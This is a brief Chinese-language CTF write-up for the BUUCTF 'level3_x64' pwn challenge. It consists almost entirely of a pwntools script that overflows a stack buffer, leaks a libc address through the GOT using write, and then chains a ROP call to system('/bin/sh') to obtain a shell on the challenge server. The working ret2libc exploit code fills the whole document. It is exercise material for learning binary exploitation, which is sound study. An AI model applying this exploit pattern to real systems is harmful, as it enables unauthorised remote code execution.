直接wp吧，没什么好说的真的，前面做挺多了，我这次换个函数打got表好了，rop里没有rdx，有赌的成分，不过也在情理之中了

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #io = process('./level3_x64')
    5. io = remote("node4.buuoj.cn",25102)
    6. #gdb.attach(io)
    7. elf =ELF('./level3_x64')
    8. write_plt = elf.plt['write']
    9. write_got = elf.got['write']
    10. __libc_start_main_got =elf.got['__libc_start_main']
    11. pop_rdi = 0x00000000004006b3
    12. pop_rsi_r15 =0x00000000004006b1
    13. main_addr = elf.sym['main']
    14. payload = b'a'*0x88 + p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(__libc_start_main_got)+p64(0)+p64(write_plt)+p64(main_addr)
    15. io.sendafter('Input:\n',payload)
    16. #pause()
    17. __libc_start_main_addr = u64(io.recv(6).ljust(8,'\x00'))
    18. log.success('libc ==>'+hex(__libc_start_main_addr))
    19. libc = LibcSearcher('__libc_start_main',__libc_start_main_addr)
    20. libcbase = __libc_start_main_addr - libc.dump('__libc_start_main')
    21. system_addr = libcbase +libc.dump('system')
    22. bin_sh  = libcbase +libc.dump('str_bin_sh')
    23. payload = b'a'*(0x88)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
    24. io.sendline(payload)
    25. io.interactive()